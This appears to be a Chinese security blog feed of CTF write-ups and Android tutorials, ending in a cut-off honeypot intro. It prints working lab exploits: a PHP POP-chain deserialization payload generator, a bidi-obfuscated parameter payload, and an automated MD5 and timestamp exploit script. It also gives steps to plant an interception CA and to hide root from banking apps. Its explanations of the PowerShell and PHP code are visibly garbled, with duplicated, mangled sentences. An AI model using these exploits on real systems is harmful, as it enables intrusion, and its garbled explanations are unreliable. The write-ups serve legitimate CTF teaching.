$key = [Byte[]]($Passphrase.PadRight(24).Substring(0,24).ToCharArray())

把 Passphrase处理成24个字节的密钥：1.PadRight(24)：如果口令不足24个字符，就在右边补空格到24个字符。2.Substring(0,24)：只取前24个字符。如果超过24个字符，后面的会被截断。3.ToCharArray()：转成字符数组。4.\[Byte\[]]：再强制转换成字节数组。所以Passphrase 处理成 24 个字节的密钥： 1. PadRight(24)：如果口令不足 24 个字符，就在右边补空格到 24 个字符。 2. Substring(0,24)：只取前 24 个字符。如果超过 24 个字符，后面的会被截断。 3. ToCharArray()：转成字符数组。 4. \[Byte\[]]：再强制转换成字节数组。所以 Passphrase处理成24个字节的密钥：1.PadRight(24)：如果口令不足24个字符，就在右边补空格到24个字符。2.Substring(0,24)：只取前24个字符。如果超过24个字符，后面的会被截断。3.ToCharArray()：转成字符数组。4.\[Byte\[]]：再强制转换成字节数组。所以key 是一个 24 字节的密钥。 ConvertFrom-SecureString -Key 支持的密钥长度通常是 16、24 或 32 字节，24 字节对应 AES-192。

1
$Secret |
2
  ConvertTo-SecureString -AsPlainText -Force |
3
  ConvertFrom-SecureString -Key $key |

这部分是核心： Secret是明文。ConvertTo−SecureString−AsPlainText−Force把明文转换成SecureString。ConvertFrom−SecureString−KeySecret 是明文。 ConvertTo-SecureString -AsPlainText -Force 把明文转换成 SecureString。 ConvertFrom-SecureString -Key Secret是明文。ConvertTo−SecureString−AsPlainText−Force把明文转换成SecureString。ConvertFrom−SecureString−Keykey 使用 $key 作为 AES 密钥，把 SecureString 加密成一段普通加密字符串。最后的 | 表示还有后续命令，比如可能被保存到文件或者赋值给变量，最终得到的是一个加密后的十六进制字符串

EXP#

用python复现powershell的ConvertFrom-SecureString -Key解密方式

1
import base64
2
from Crypto.Cipher import AES
3
from Crypto.Util.Padding import unpad
4

5
enc = "76492d1116743f0423413b16050a5345MgB8AFQAegB3AFAAaAArAFcAVABwAEYAWABLAGoAUwBaAEsAQQBvAHAAagBrAFEAPQA9AHwAOABmADIAOQBmADkANgA4ADkAMABlADIAZgBmADgAMwA0AGEAYwAxADIAMgA5ADYAZgAyADMAMQBiAGEANAA2ADUAOQAxADEANgAyADUANwA2AGEAMgBkAGYANQBjAGQAYwA5ADQAMgAyAGMANgBiADIAYwA5ADEANgA3ADkAZgA1AGUAMgA5ADYANQAyADEAOAA1ADMAYwAyADcAZABhADAAZgA2AGQAOQA0AGEAOAA2ADEAMQA4ADIAZgBhADgAMwBjAGYAMwBmAGEAMQAwADYANQBmADIANwA0AGYANgAxADIAZAA5ADYANgBjAGQANQBkADAAOQA4AGEAMgAwADYAYQA5ADgAMgBkADkANABlAGEANABmADEAMAA0ADEAMQA4ADcAOABlADcAYQBmADQAMQBiADQAMgBmADEANwA="
6
passphrase = "F844A6035CF27CC4C90DFEAF579398BE6F7D5ED10270BD12A661DAD04191347559B82ED546015B07317000D8909939A4DA7953AED8B83C0FEE4EB6E120372F536BC5DC39"
7
key = passphrase[:24].encode("ascii")
8

9
# 去掉 PowerShell 固定前缀
10
prefix = "76492d1116743f0423413b16050a5345"
11
enc = enc[len(prefix):]
12
decoded = base64.b64decode(enc).decode("utf-16le")
13
iv=base64.b64decode(decoded.split('|')[1])
14
cipher=bytes.fromhex(decoded.split('|')[2])
15
aes = AES.new(key, AES.MODE_CBC, iv)
16
flag = unpad(aes.decrypt(cipher), AES.block_size).decode("utf-16le")
17
print(flag)

展开收起

[NISACTF 2022]checkin Unicode 双向控制字符（Bidi）混淆

Tue, 22 Sep 2026 00:00:00 GMT

本题在线靶场#

https://www.nssctf.cn/problem/2035

代码审计#

2026-09-22_10-08-35.png

可以看到显示非常的乱

把它复制粘贴到vscodex里面

2026-09-22_10-11-17.png

1
<?php
2
error_reporting(0);
3
include "flag.php";
4
// ‮⁦NISACTF⁩⁦Welcome to
5
if ("jitanglailo" == $_GET[ahahahaha] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦N1SACTF" == $_GET[‮⁦Ugeiwo⁩⁦cuishiyuan]) { //tnnd! weishenme b
6
    echo $FLAG;
7
}
8
show_source(__FILE__);
9
?>

这下看清楚了，VS Code能显示出这些不可见字符的占位符— Unicode 控制字符

[U+202E] (RLO)：从这里开始，后面的字符强制从右向左显示。
[U+2066] (LRI)：开始一个从左向右的隔离区。
[U+2069] (PDI)：结束隔离区。

我们在脑海中把不可见字符替换为 [RLO]、[LRI]、[PDI]：

1
if ("jitanglailo" == $_GET['ahahahaha'] & [RLO][LRI]+!![PDI][LRI]& " [RLO][LRI]Flag![PDI][LRI]N1SACTF" == $_GET['[RLO][LRI]Ugeiwo[PDI][LRI]cuishiyuan'])

这下就很清晰了，第三个条件为

1
"[RLO][LRI]Flag![PDI][LRI]N1SACTF" == $_GET['[RLO][LRI]Ugeiwo[PDI][LRI]cuishiyuan']

至于PHP 是如何解析中间这坨 & [RLO][LRI]+!![PDI][LRI]& 的？

因为 error_reporting(0)，PHP 会把 [RLO][LRI] 和 [PDI][LRI] 当作未定义的常量，并降级为字符串。
+!![PDI][LRI]：!! 是双重取反，任何非空字符串取反两次都是 true（即 1）。[RLO][LRI] 字符串转数字是 0。所以 0 + 1 = 1。
整个表达式变成了 & 1 &。
在 PHP 中，&（按位与）的优先级低于 ==。所以实际上变成了：(A == 1) & 1 & (B == 1)。这等价于 A && B。

构造 Payload#

既然逻辑还原了，我们要满足两个条件：

ahahahaha = jitanglailo

参数名必须包含特殊字符：[RLO][LRI]Ugeiwo[PDI][LRI]cuishiyua
参数值必须包含特殊字符：“[RLO][LRI]Flag![PDI][LRI]N1SACTF”

所以在发送请求时，你需要将这些特殊字符进行 URL 编码（U+202E -> %E2%80%AE，U+2066 -> %E2%81%A6，U+2069 -> %E2%81%A9）。

1
?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6%20Flag%21%E2%81%A9%E2%81%A6N1SACTF

2026-09-22_10-38-30.png

[GFCTF 2021]双击开始冒险鼠标流量

Mon, 21 Sep 2026 00:00:00 GMT

本题在线靶场#

https://www.nssctf.cn/problem/874

第一层压缩包爆破#

生日4位数字，直接爆破

2026-09-21 210909.png

密码为1211

第二层社工#

2026-09-21_21-12-33.png

搜索这个QQ号，发现base64的密码，密码You love me, I love you

2026-09-21_21-13-34.png

2026-09-21_21-15-35.png

我没有翻到，可能是现在没有了。

第三层鼠标流量#

用Wireshark/tshark 导出的 USB 鼠标数据（data.txt） windows用

Terminal window

1
tshark -r "C:\Users\tuulei\Desktop\双击开始冒险\据说是某人生日\找寻密码\这应该是一个鼠标.pcapng" -T fields -e usbhid.data | Where-Object { $_ -match '\S' } | Set-Content -Path data.txt -Encoding ASCII

linux用

Terminal window

1
tshark -r 123.pcapng -T fields -e usbhid.data | sed '/^\s*$/d' > data.txt

再用python脚本还原就行了

1
import sys
2
print("当前使用的Python路径：", sys.executable)
3

4
import matplotlib.pyplot as plt
5
from tqdm import tqdm
6

7
# ================== 参数 ==================
8
INPUT_FILE = "data.txt"
9
OUTPUT_IMG = "out.png"
10

11
# ================== 数据处理 ==================
12
x_values = []
13
y_values = []
14

15
posx = 0
16
posy = 0
17

18
with open(INPUT_FILE, "r") as f:
19
    for line in tqdm(f.readlines()):
20
        # USB 鼠标数据行长度校验
21
        if len(line.strip()) != 16 and len(line.strip()) != 17:
22
            continue
23

24
        # 解析 x / y 偏移（16进制）
25
        x = int(line[4:6], 16)
26
        y = int(line[8:10], 16)
27

28
        # 有符号处理
29
        if x > 127:
30
            x -= 256
31
        if y > 127:
32
            y -= 256
33

34
        posx += x
35
        posy += y
36

37
        # 判断是否为点击事件
38
        click = int(line[0:2], 16)
39
        if click == 1:
40
            x_values.append(posx)
41
            y_values.append(-posy)  # 翻转 y 轴，符合屏幕坐标
42

43
# ================== 画图 ==================
44
plt.figure(figsize=(8, 6))
45
plt.scatter(x_values, y_values, s=5)
46
plt.xlabel("X")
47
plt.ylabel("Y")
48
plt.title("USB Mouse Movement Trace")
49
plt.grid(True)
50

51
plt.savefig(OUTPUT_IMG, dpi=300)
52
plt.show()
53

54
print(f"[+] 绘图完成，已保存为 {OUTPUT_IMG}")

展开收起

2026-09-21_21-21-50.png

密码为7724774CTF

2026-09-21_21-23-03.png

打开最后一个文件，在最后一行可以发现flag

[SWPUCTF 2025 秋季新生赛]FIRST MEETING PHP 反序列化 POP 链

Sun, 20 Sep 2026 00:00:00 GMT

本题在线靶场#

https://www.nssctf.cn/problem/7284

1.分析#

1.1代码审计#

分析这段完整源码，需要构造一条非常经典的 POP 链（属性导向编程利用链）。

1
 <?php
2
highlight_file(__FILE__);
3
class WEB {
4
    private $sauy;
5
    public $creambread;
6

7
    public function __construct($sauy) {
8
        $this->sauy = $sauy;
9
        echo "I know you are good at this!";
10
    }
11
    public function __destruct() {
12
        echo $this -> sauy;
13
    }
14
}
15

16
class REVERSE {
17
    protected $re1sen;
18
    public $harukaze;
19
    public $ysyy;
20
    public $acc;
21

22
    public function __call($a, $b){
23
    if (!is_string($this -> harukaze) ||!is_string($this -> ysyy)||($this -> harukaze === $this -> ysyy)) {
24
        die("你输的什么东西?");
25
    }
26
    if (md5($this -> harukaze) == md5($this -> ysyy)) {
27
        ($this->acc)();
28
    } else {
29
        die("?");
30
    }
31
}
32
}
33

34
class PWN {
35
    public $wings;
36
    public $c0trick;
37

38
    public function __toString() {
39
        if($this->wings === 'SHENG-YI'){
40
            $this -> c0trick -> MinatoNamikaze();
41
            return "NSS WELCOME YOU!!!";
42
        }
43
        else {
44
            die("No wings,no fly!");
45
        }
46
    }
47
}
48
class MISC {
49
    public $cr4p;
50

51
    public function __invoke(){
52
        $this -> cr4p -> png = '010';
53
    }
54
}
55

56
class CRYPTO {
57
    public $kyarihoshi;
58
    public $rocage;
59
    public $last;
60
    public $dance;
61
    public $kiss;
62
    public function __construct(){
63
        $kyarihoshi = $this -> kyarihoshi;
64
        $rocage = $this -> rocage;
65
        $kiss = $this -> kiss;
66
    }
67
    public function __set($a, $b){
68
        $this -> dance = md5(rand(1, 10000));
69
        if ($this->last === $this -> dance){
70
            $kiss = new $this -> kyarihoshi($this -> rocage);
71
            echo "$kiss<br>";
72
            echo "恭喜！<br>";
73
    }
74
    else{
75
        die("LAST DANCE!May be you can find the trick!");
76
    }
77
}
78
}
79
$NSS = $_POST["NSS"];
80
unserialize($NSS);
81
?>

展开收起

这道题本身没有直接调用 system、exec 等命令执行函数，所以需要通过反序列化原生类（如 SplFileObject）来读取 /flag 文件。

有可控的 unserialize() 入口

1
$NSS = $_POST["NSS"];
2
unserialize($NSS);

类里有各种 PHP 魔术方法：

__construct() ：构造函数来赋值 private 属性

__destruct()：对象被销毁时触发。

__wakeup()：反序列化时触发（常用于反序列化后的初始化或绕过）。

__toString()：对象被当成字符串使用时触发（比如被 echo、被 include 或者字符串拼接时）。

__invoke()：PHP 中把对象当函数调用 $obj() 时，会自动执行该对象的 __invoke()。

__call()：调用对象没有的方法触发。

__set()：给不存在的属性赋值时触发。

1.2POP 链完整调用流程#

触发起点：WEB::__destruct 反序列化后脚本结束，WEB 对象被销毁，执行 echo this−>sauy;。如果this -> sauy;。如果 this−>sauy;。如果sauy 是一个 PWN 对象（本题有__toString，下面同理)，就会触发 PWN::__toString()。
进入 PWN::__toString 需要满足 this−>wings===′SHENG−YI′。然后执行this->wings === 'SHENG-YI'。然后执行 this−>wings===′SHENG−YI′。然后执行this -> c0trick -> MinatoNamikaze();。由于 c0trick 是 REVERSE 对象且没有 MinatoNamikaze 方法，触发 REVERSE::__call(‘MinatoNamikaze’, [])。
进入 REVERSE::__call 需要绕过 MD5 弱类型比较：
- harukaze 和 ysyy 必须是字符串且不相等，但 md5() 值相等。
- 使用经典 0e 碰撞：harukaze = ‘QNKCDZO’，ysyy = ‘240610708’。条件满足后执行 ($this->acc)();。令 acc = new MISC()，触发 MISC::__invoke()。
进入 MISC::__invoke 执行 $this -> cr4p -> png = ‘010’;。令 cr4p = new CRYPTO()。由于 CRYPTO 没有 png 属性，触发 CRYPTO::__set(‘png’, ‘010’)。
进入 CRYPTO::__set（关键点）代码中有一句：

1
$this -> dance = md5(rand(1, 10000));
2
if ($this->last === $this -> dance){

由于 dance 是随机数，我们无法预测。解决办法：利用 PHP 反序列化的引用特性（R:），让 this−>last和this->last 和 this−>last和this->dance 指向同一个内存变量。当 this−>dance被赋值时，this->dance 被赋值时，this−>dance被赋值时，this->last 也会同步变成同样的值，从而满足 === 条件。然后执行：

1
$kiss = new $this -> kyarihoshi($this -> rocage);
2
echo "$kiss<br>";

令 kyarihoshi = ‘SplFileObject’，rocage = ‘/flag’。这样会实例化 SplFileObject(‘/flag’)。echo 该对象时，会触发其 __toString() 方法，直接输出 /flag 文件的内容。

构造payload#

由于涉及到 R: 引用，手动拼写序列化字符串非常容易出错，建议用本地 PHP 脚本生成。

第一步：编写生成脚本（gen.php）#

1
// 复制题目中的所有类定义
2
<?php
3
class WEB {
4
    private $sauy;
5
    public $creambread;
6
    public function __construct($sauy) {
7
        $this->sauy = $sauy;
8
    }
9
    public function __destruct() {
10
        echo $this->sauy;
11
    }
12
}
13

14
class REVERSE {
15
    protected $re1sen;
16
    public $harukaze;
17
    public $ysyy;
18
    public $acc;
19
    public function __call($a, $b){ }
20
}
21

22
class PWN {
23
    public $wings;
24
    public $c0trick;
25
    public function __toString() { }
26
}
27

28
class MISC {
29
    public $cr4p;
30
    public function __invoke(){ }
31
}
32

33
class CRYPTO {
34
    public $kyarihoshi;
35
    public $rocage;
36
    public $last;
37
    public $dance;
38
    public $kiss;
39
     // 补全方法，虽然生成阶段不会执行它
40
    public function __construct() { }
41
    public function __set($a, $b) { }
42
}
43

44
// 构造链：注意这里使用了构造函数来赋值 private 属性（WEB的`$sauy`)
45
$pwn = new PWN();
46
$pwn->wings = 'SHENG-YI';
47
$pwn->c0trick = new REVERSE();
48
$pwn->c0trick->harukaze = 'QNKCDZO';
49
$pwn->c0trick->ysyy = '240610708';
50
$pwn->c0trick->acc = new MISC();
51
$pwn->c0trick->acc->cr4p = new CRYPTO();
52
$pwn->c0trick->acc->cr4p->kyarihoshi = 'SplFileObject';
53
$pwn->c0trick->acc->cr4p->rocage = '/flag';
54

55
// 关键：构造引用，让 last 和 dance 指向同一个内存地址
56
$pwn->c0trick->acc->cr4p->last = &$pwn->c0trick->acc->cr4p->dance;
57

58
// 把 PWN 对象通过构造函数塞进 WEB 的 private $sauy 里
59
$web = new WEB($pwn);
60

61
// 输出 URL 编码后的 payload
62
echo urlencode(serialize($web));
63
?>

展开收起

第二步：运行脚本#

2026-09-20 103907.png

这个报错是本地的，完全不影响远程利用

2026-09-20_10-53-18.png

[UUCTF 2022 新生赛]funmd5 0e 碰撞与时间戳预测

Sun, 20 Sep 2026 00:00:00 GMT

本题在线靶场#

https://www.nssctf.cn/problem/3050

代码审计#

1
 <?php
2
error_reporting(0);
3
include "flag.php";
4
$time=time();
5
$guessmd5=md5($time);
6
$md5=$_GET["md5"];
7
if(isset($md5)){
8
    $sub=substr($time,-1);
9
    $md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
10
    if(preg_match('/0e/',$md5[0])){
11
        $md5[0]=substr($md5[0],$sub);
12
        if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
13
            echo "well!you win again!now flag is yours.<br>";
14
            echo $flag;
15
        }
16
        else{
17
            echo $md5[0];
18
            echo "oh!no!maybe you need learn more PHP!";
19
        }
20
    }
21
    else{
22
        echo "this is your md5:$md5[0]<br>";
23
        echo "maybe you need more think think!";
24
    }
25
}
26
else{
27
    highlight_file(__FILE__);
28
    $sub=strlen($md5[0]);
29
    echo substr($guessmd5,0,5)."<br>";
30
    echo "plase give me the md5!";
31
}
32
?>
33
7ffb4
34
plase give me the md5!

展开收起

1.代码逻辑分析#

无参数时：输出 $guessmd5 的前 5 位，提示输入 md5。
传入 md5 数组：
- $time = time()，$guessmd5 = md5($time)。
- $sub = substr($time, -1)：取时间戳最后一位数字（0~9）,并赋值给变量 $sub。
- 对 $md5 数组每个元素执行 preg_replace('/^(.*)0e(.*)$/', '${1}no_science_notation!${2}', $md5)。把 md5字符串中的0e替换成‘nosciencenotation!‘，并保留0e前后的内容，最后再把结果赋回‘md5 字符串中的 0e 替换成 `no_science_notation!`，并保留 0e 前后的内容，最后再把结果赋回 `md5字符串中的0e替换成‘nosciencenotation!‘，并保留0e前后的内容，最后再把结果赋回‘md5`。
若包含，则 $md5[0] = substr($md5[0], $sub)，即从 sub位置截取。最终条件：‘sub 位置截取。最终条件：`sub位置截取。最终条件：‘md5[0] == md5(md5[0])` && `md5[1] === $guessmd5`。

2.漏洞点与利用思路#

2.1 换行符绕过 preg_replace#

preg_replace 的正则 /^(.*)0e(.*)$/ 中，. 默认不匹配换行符 \n。如果字符串中包含换行符，且 0e 位于换行符之后，则整个正则无法匹配，preg_replace 不会进行替换。而 preg_match('/0e/', $md5[0]) 是在整个字符串中搜索，不受换行符影响，因此仍能匹配到 0e，从而进入内层条件。

2.2 MD5 松散比较（0e 碰撞）#

条件 $md5[0] == md5($md5[0]) 使用松散比较。在 PHP 中，形如 0e 后跟纯数字的字符串会被解释为科学计数法，其值为 0。因此，如果 $md5[0] 是一个 0e 开头的纯数字字符串，且它的 MD5 值也是 0e 开头的纯数字字符串，那么两者在 == 比较时都会被视为 0，从而相等。

已知的经典字符串：

0e215962017 → MD5：0e291242476940776845150308577824

2.3 时间戳预测#

$guessmd5 = md5(time())，$sub = substr(time(), -1)。我们需要知道服务器当前的时间戳，才能计算出完整的 $guessmd5 和 $sub。页面会泄露 $guessmd5 的前 5 位，我们可以通过暴力枚举当前时间附近的时间戳，找到匹配前 5 位的那个时间戳 T，从而得到完整的 $guessmd5 和 $sub = T % 10。

2.4 构造 `$md5[0]`#

我们需要 substr($md5[0], $sub) == "0e215962017"。因此 $md5[0] 的前 sub个字符可以是任意字符，但必须包含换行符以绕过pregreplace，并且换行符要放在0e之前。例如，若sub 个字符可以是任意字符，但必须包含换行符以绕过 preg_replace，并且换行符要放在 0e 之前。例如，若 sub个字符可以是任意字符，但必须包含换行符以绕过pregreplace，并且换行符要放在0e之前。例如，若sub = 4，可构造：

1
$md5[0] = "aaa\n0e215962017"

长度为 4 的前缀 “aaa\n”，截取后得到 “0e215962017”。

2.5 构造 `$md5[1]`#

$md5[1] 需要严格等于 $guessmd5。注意 $md5[1] 也会经过 preg_replace 处理，如果 $guessmd5 中包含 0e，则会被替换成 no_science_notation!，导致不相等。因此需要确保 $guessmd5 中不包含 0e。概率约 12%，若不满足可等待下一秒重试。

自动化利用脚本#

以下 Python 脚本实现了完整的攻击流程：

1
import requests
2
import hashlib
3
import time
4
import re
5

6
# 目标 URL
7
url = "http://node5.anna.nssctf.cn:22221"   # 替换为实际 URL
8

9
# 已知的 0e 碰撞字符串
10
COLLISION = "0e215962017"
11

12
while True:
13
    # 1. 获取 $guessmd5 前 5 位
14
    r = requests.get(url)
15
    match = re.search(r'([0-9a-f]{5})<br>', r.text)
16
    if not match:
17
        print("未获取到前5位，重试...")
18
        time.sleep(0.5)
19
        continue
20
    prefix5 = match.group(1)
21
    print(f"[+] 获取到前5位: {prefix5}")
22

23
    # 2. 暴力枚举时间戳，找到完整 $guessmd5
24
    now = int(time.time())
25
    found_T = None
26
    for delta in range(-120, 120):  # 前后搜索2分钟
27
        T = now + delta
28
        if hashlib.md5(str(T).encode()).hexdigest().startswith(prefix5):
29
            found_T = T
30
            break
31

32
    if found_T is None:
33
        print("[-] 未找到匹配时间戳，重试...")
34
        time.sleep(0.5)
35
        continue
36

37
    guess_md5 = hashlib.md5(str(found_T).encode()).hexdigest()
38
    sub = found_T % 10
39
    print(f"[+] 时间戳: {found_T}, sub = {sub}, guess_md5 = {guess_md5}")
40

41
    # 检查 sub 是否为 0，为 0 则无法构造前缀
42
    if sub == 0:
43
        print("[-] sub 为 0，等待下一秒...")
44
        time.sleep(1)
45
        continue
46

47
    # 检查 guess_md5 是否包含 '0e'，若包含则会被替换
48
    if '0e' in guess_md5:
49
        print("[-] guess_md5 包含 '0e'，等待下一秒...")
50
        time.sleep(1)
51
        continue
52

53
    # 3. 构造 $md5[0]
54
    # 前缀长度为 sub，包含换行符，且换行符放在 0e 之前
55
    prefix = 'a' * (sub - 1) + '\n'  # 长度为 sub
56
    md5_0 = prefix + COLLISION
57

58
    # 4. 发送请求
59
    params = {
60
        'md5[0]': md5_0,
61
        'md5[1]': guess_md5
62
    }
63
    # requests 会自动对参数进行 URL 编码
64
    r2 = requests.get(url, params=params)
65
    if "well!you win again!" in r2.text or "flag" in r2.text:
66
        print("[+] 成功！")
67
        print(r2.text)
68
        break
69
    else:
70
        print("[-] 尝试失败，响应：")
71
        print(r2.text[:200])
72
        # 等待一下重试
73
        time.sleep(0.5)

展开收起

2026-09-20_16-28-27.png

【抓包证书一键安装脚本】雷电模拟器14

Thu, 03 Sep 2026 00:00:00 GMT

简介#

Android 7+ 不再信任用户安装的证书，抓包时需要把根证书装进系统信任库。本工具自动完成全部流程：

自动识别证书格式（PEM / DER / PKCS12 / PKCS7）并转成 PEM；
自动计算设备文件名（openssl x509 -subject_hash_old，如 9a5ba575.0），无需手动改名；
自动发现 / 安装 adb 与 openssl，联网即可用；
设备端自动区分两套方案：
- Android 10+（雷电14）：tmpfs + bind mount 覆盖 APEX 信任库，重启后失效，重跑一次即可；
- Android 9 及以下（雷电9）：直接写入 /system/etc/security/cacerts，重启后依然有效。

环境要求#

项	要求
系统	Windows 10 / 11
模拟器	雷电模拟器 9 / 14，已开启 root（模拟器设置 → 其他设置 → Root 权限，或按教程装 Magisk）
网络	首次运行需要联网（自动安装 openssl / adb 时使用）
证书	Burp 的 DER、Fiddler 的 CER、Charles 的 PEM、带密码的 PFX 均可

三步安装证书#

把证书文件复制到 certs\ 目录，自己起个名字，例如 Burp.der、Fiddler.p12；
双击 adb.bat；
选 1 安装证书，按提示选择设备和证书，确认信息后自动完成。

也可以直接在资源管理器里把证书文件拖到 adb.bat 图标上，跳过菜单直接安装（支持一次拖多个）。

更详细的说明#

https://github.com/tuulei/leidian

其他下载通道#

蓝奏云网盘，密码：fsjf

夸克网盘，提取码：A9Cy

【安装证书】雷电Android14模拟器-安卓抓包

Thu, 03 Sep 2026 00:00:00 GMT

说明#

从 Android 14 开始，系统信任的 CA 证书存储路径已经从传统的 /system/etc/security/cacerts 迁移到了 APEX 模块（即只读分区）下的 /apex/com.android.conscrypt/cacerts。这就是为什么像安卓9那样手动复制到旧的 /system 路径下会失效。
要解决这个问题，可以试试利用tmpfs内存文件系统，这是目前较推荐的方法，通过在内存中创建一个临时文件系统 (tmpfs) 并绑定挂载，绕过对只读分区的直接修改。成功后，证书会立即生效，无需重启模拟器，但是重启后操作会失效。

1 获取证书#

从burpsuit导出DER证书
导出证书：在 Burp Suite 里，Proxy -> Options -> Import / export CA certificate -> Export -> Certificate in DER format，导出 cacert.der 文件。

burp证书导出

2 将DER证书转换为PEM证书和改名#

1
# 1. 把 DER 格式转成 PEM 格式
2
openssl x509 -inform DER -in cacert.der -out burp.pem
3

4
# 2. 计算证书的哈希值（这会是新证书的文件名）
5
openssl x509 -inform PEM -subject_hash_old -in burp.pem | head -1
6

7
# 3. 把 PEM 文件重命名为计算出来的哈希值，后缀是 .0
8
#或者直接重命名也行
9
ren burp.pem 9a5ba575.0

3 模拟器打开root权限和文件读写、adb调试#

磁盘设置1

其他设置2

4 使用ADB安装证书#

假设输出的哈希值为 9a5ba575。

1
# 查看设备名
2
adb devices
3
# emulator-5558修改为你看到的设备名
4
# 先将证书拷贝的tmp目录
5
adb -s emulator-5558 push 9a5ba575.0 /data/local/tmp/
6
# 连接模拟器并获取 Root 权限：
7
adb -s emulator-5558 root
8
adb -s emulator-5558 shell
9
su

1
#!/system/bin/sh
2
CERT_NAME="9a5ba575.0"   # 记得修改成你的哈希值文件名
3
CERT_PATH="/data/local/tmp"  # 假设你把证书放在了这里
4

5
# 1. 创建临时目录并复制原有证书
6
mkdir -p -m 700 /data/local/tmp/tmp-ca-copy
7
cp /apex/com.android.conscrypt/cacerts/* /data/local/tmp/tmp-ca-copy/
8

9
# 2. 创建 tmpfs 挂载点
10
mount -t tmpfs tmpfs /system/etc/security/cacerts
11

12
# 3. 将原有证书复制回 tmpfs
13
mv /data/local/tmp/tmp-ca-copy/* /system/etc/security/cacerts/
14

15
# 4. 将你的新证书复制进去
16
cp /data/local/tmp/$CERT_NAME /system/etc/security/cacerts/
17

18
# 5. 设置正确的权限和 SELinux 上下文
19
chown root:root /system/etc/security/cacerts/*
20
chmod 644 /system/etc/security/cacerts/*
21
chcon u:object_r:system_file:s0 /system/etc/security/cacerts/*
22

23
# 6. 将挂载绑定到新路径
24
mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts

展开收起

5 在模拟器中检查证书#

设置->安全和隐私->更多安全和隐私设置->加密与凭据->可信凭据
看到PortSwigger表示成功

检查证书

6 自动脚本#

了解了原理，可以使用适用雷电9/14的证书安装工具，避免重复劳动。

下载通道#

【抓包证书一键安装脚本】雷电模拟器14-tuulei

【Kitsune Mask / 狐狸面具】雷电模拟器 14 安装 Magisk root完整教程

Fri, 21 Aug 2026 00:00:00 GMT

适用范围与重要说明#

雷电模拟器 14 基于 Android 14 内核，仅支持 Kitsune Mask（狐狸面具 27.2 版本），不推荐使用普通官方版 Magisk。
本教程同样适用于雷电模拟器 9，操作完全一致。
全程在雷电 14、雷电 9 上实测通过。
模拟器软件自带的重启按钮无效，需要手动重启时请点右上角 X 关闭模拟器后重新打开。

所需文件清单#

文件	用途
Kitsune Mask 27.2（狐狸面具 APK）	面具主体，用于接管 Root
LSPosed-v2.1.0-7769-release.zip	Xposed 框架模块
Zygisk-Next-1.4.2.zip	Root 隐藏模块（替代老旧的内置 Zygisk）
KsuWebUI	可视化模块管理软件

下载通道#

蓝奏云网盘，密码：tuulei

夸克网盘，提取码：vQtA

超新学习通云盘，邀请码：djxq6378

一、前置配置#

打开雷电模拟器设置。
开启 ROOT 权限。
打开 磁盘 system 分区可写入功能。
保存设置后重启模拟器。

开启 ROOT 权限

开启 system 分区可写入

二、安装面具主体#

将 Kitsune Mask 27.2 的 APK 安装包直接拖入模拟器窗口，按提示完成安装。

拖入 APK 安装

三、执行安装流程#

打开面具 APP，点击顶部的「安装」按钮。
保持默认勾选，必须选择「直接安装（直接修改 /system）」，再点击「开始」。
安装完成后，应用界面底部会提示 “All done!”，此时需要手动重启模拟器。

⚠️ 模拟器暂不支持软件自带的重启功能：点击软件内的蓝色重启按键是无效的，记得点右上角 X 手动重启。

点击安装

选择直接安装

安装完成

四、解决权限冲突#

使用 ROOT 模式的文件管理器（如 MT 管理器）。
删除 /system/xbin/su 文件。
首次删除若提示失败，可再次操作；提示“文件不存在”即表示完成。

删除 su 文件

五、安装框架（LSPosed + Zygisk Next）#

将 LSPosed-v2.1.0-7769-release.zip 和 Zygisk-Next-1.4.2.zip 两个安装包拖入模拟器，它们会自动放入 Pictures 共享目录。
打开桌面的狐狸面具 Kitsune Mask。
点击右下角「模块」，选择从本地安装。
将两个压缩包依次安装为模块。
重启模拟器。

模块入口

选择压缩包

安装中

重启确认

安装完成

模块列表

六、安装并配置 KsuWebUI#

打开 KsuWebUI 软件，授予其管理员（超级用户）权限。
按下方说明和截图进行设置。

KsuWebUI 设置 1

KsuWebUI 设置 2

Zygisk 设置#

匿名内存：数据全内存运行，反检测力 MAX，建议常开。
Zygisk 链接器：用于替代传统 Magisk 内置 Zygisk 的加载方式，提升隐蔽性、稳定性和兼容性。

排除策略#

强制模式：银行 / 金融类 App 必备。
仅还原挂载：用于游戏兼容性修复。

常见问题排查#

错误 1：Zygisk Next 提示 “Please disable built-in zygisk of magisk”#

原因：狐狸面具自带 Zygisk，与 Zygisk Next 同时开启会冲突。自带 Zygisk 程序老旧、不更新，隐藏 Root 效果较差，已基本淘汰，目前主流是使用 Zygisk Next 进行隐藏。

解决办法：

点击狐狸面具右上角的设置按钮。
将 Magisk 里的选项全部取消勾选，重启模拟器。
如果仍无法解决，可先将 Magisk 选项全部勾选并重启，然后再全部取消勾选并重启。

关闭内置 Zygisk

设置界面

恢复正常

错误 2：LSPosed 显示“Zygisk 未启用，此模块暂停加载”#

这是面具的显示错误，不影响模块使用。可在电脑上打开 LSPosed-v2.1.0.zip 压缩包，找到 manager.apk 文件解压到桌面，再拖入雷电模拟器安装，即可正常设置 LSPosed 模块。

LSPosed 提示

安装 manager

常见疑问（FAQ）#

Q：雷电模拟器不是自带 ROOT 吗？为什么还要装面具？

A：安装面具是为了使用 LSPosed 模块。装好模块后，可以关闭模拟器自带的 ROOT 开关，不影响正常使用。

Q：Zygisk Next 一定要装吗？

A：Zygisk Next 是隐藏 Root 的模块。银行、游戏等 App 在打开时会检测 Root，检测到后软件无法打开；使用它可屏蔽大部分检测。如果对隐藏没有特殊要求，也可以不安装，不影响正常使用。

下载通道#

蓝奏云网盘，密码：tuulei

夸克网盘，提取码：vQtA

超新学习通云盘，邀请码：djxq6378

【cowrie蜜罐】从 0 搭建 Cowrie 蜜罐，并分析真实 SSH 攻击日志

Mon, 22 Jun 2026 00:00:00 GMT

一、前言#

在网络安全领域，蜜罐（Honeypot）是一种主动防御技术，通过模拟存在漏洞的服务，吸引攻击者的探测与攻击，从而收集攻击行为、工具和手法，为安全防护提供真实的威胁情报。
